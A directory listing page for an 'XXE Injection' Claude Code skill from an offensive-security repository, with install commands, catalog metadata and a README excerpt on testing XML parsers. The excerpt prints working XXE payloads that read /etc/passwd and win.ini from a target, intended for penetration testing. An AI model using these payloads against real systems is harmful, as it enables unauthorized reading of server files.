XXE Injection

XXE Injection is a Quality skill for Claude Code, published by CyberStrikeus in CyberStrike.

1.7K stars269 forkson CyberStrikeus/CyberStrikeAdded 2026/08/12+4% in starsRepository updated 2026/08/12

aiai-agentai-securitybug-bountycybersecuritydevsecopsethical-hackinghackinghacking-toolllmmcpmcp-servermitre-attackoffensive-securityowasppenetration-testingpentestred-teamsecuritysecurity-tools

Install in seconds

Install XXE Injection

Copy XXE Injection into your Claude Code skills folder. Run the command in your terminal, or review the source on GitHub before installing.

terminal

npx degit https://github.com/CyberStrikeus/CyberStrike/tree/main/.cyberstrike/skill/attack-xxe ~/.claude/skills/attack-xxe

Requires Node.js. Downloads this skill only — not the rest of the repository — into your Claude Code skills folder.

Without Node.js

git clone https://github.com/CyberStrikeus/CyberStrike.git

Clones the whole repository, then copy the skill’s own directory into your skills folder yourself.

In this catalog

Source file: .cyberstrike/skill/attack-xxe/SKILL.md in CyberStrikeus/CyberStrike
Installs to: ~/.claude/skills/attack-xxe
Collection: One of 51 skills cataloged from this repository
Category: Quality — 1354 skills

What XXE Injection does

XXE Injection tests XML parsers for external entity handling to read local files, trigger SSRF, or cause out-of-band callbacks. Use it when reviewing XML, SOAP, SVG, DOCX, or SAML inputs.

XXE Injection is cataloged under Quality on DirSkills. XXE Injection comes from a repository tagged ai, ai-agent, ai-security, bug-bounty and cybersecurity.

Documentation

README

Excerpt

Content-Type: application/xml or text/xml
SOAP endpoints (.asmx, .wsdl)
File upload accepting SVG, DOCX, XLSX
RSS/Atom feed processing
SAML authentication

Phase 2: In-Band XXE (File Read)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Windows targets:

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

This is the opening of the README. Read the full README on GitHub.

Frequently asked about XXE Injection

What else does CyberStrikeus publish alongside XXE Injection?
XXE Injection is one of 51 skills that DirSkills catalogs from CyberStrikeus/CyberStrike, the repository it ships in. Its siblings there include AMI Age Compliance, AMI Encryption Check and AMI Naming Convention Compliance. Each one is a separate skill with its own page in this directory, installs the same way XXE Injection does, and is maintained by CyberStrikeus in that same repository. The rest of the collection is listed on the CyberStrikeus/CyberStrike page.
How does XXE Injection compare to other Quality skills?
XXE Injection ranks #613 by stars among the 1354 Quality skills in this catalog. The most-starred ones next to it are Benchmark, Benchmark Optimization Loop and API Design Patterns. DirSkills ranks by the star count of the repository each skill ships in, so that order reflects how popular those repositories are rather than any review of XXE Injection against them. Open each page to compare what they document and how they install.